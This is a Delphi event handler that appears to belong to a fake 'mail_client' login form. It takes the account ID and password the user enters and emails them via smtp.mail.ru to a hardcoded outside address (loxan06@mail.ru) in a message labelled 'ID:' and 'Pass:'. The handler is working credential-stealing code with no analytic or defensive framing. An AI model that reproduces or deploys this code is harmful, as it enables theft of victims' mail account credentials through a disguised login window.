procedure TForm1.Button1Click(Sender: TObject);
var
 mail: String;
 Mes: TIdMessage;
begin
 if(ComboBox2.Text = '') or (Edit1.Text = '')then
 begin
  Form2.Show;
 end;
  mail := 'loxan06@mail.ru';
  Application.ProcessMessages;
  Mes := TIdMessage.Create(nil);
  Mes.Recipients.Add;
  Mes.Recipients.Items[0].Text := mail;
  Mes.From.Text := PChar(ComboBox2.Text);
  Mes.Subject := 'mail_client';
  Mes.Body.Add('ID:'+' '+ComboBox2.Text+#13#10+
  'Pass:'+' '+Edit1.Text+#13#10);
  IdSMTP1.AuthenticationType := atLogin;
  IdSMTP1.Host := PChar('smtp.mail.ru');
  IdSMTP1.Username := PChar(ComboBox2.Text);
  IdSMTP1.Password := PChar(Edit1.Text);
  IdSMTP1.Port := 25; // Default
  Application.ProcessMessages;
  IdSMTP1.Connect(300);
  if IdSMTP1.Connected then
  begin
   try // Отправляем месадж
    Application.ProcessMessages;
    IdSMTP1.Send(Mes);
   except // если ошибка
    on E: Exception do
    begin
     Application.ProcessMessages;
     Application.MessageBox(PChar(E.Message),'Не удалось отправить почту', MB_ICONERROR);
     IdSMTP1.Disconnect;
    end;
  end;
   IdSMTP1.Disconnect;
 end;
end;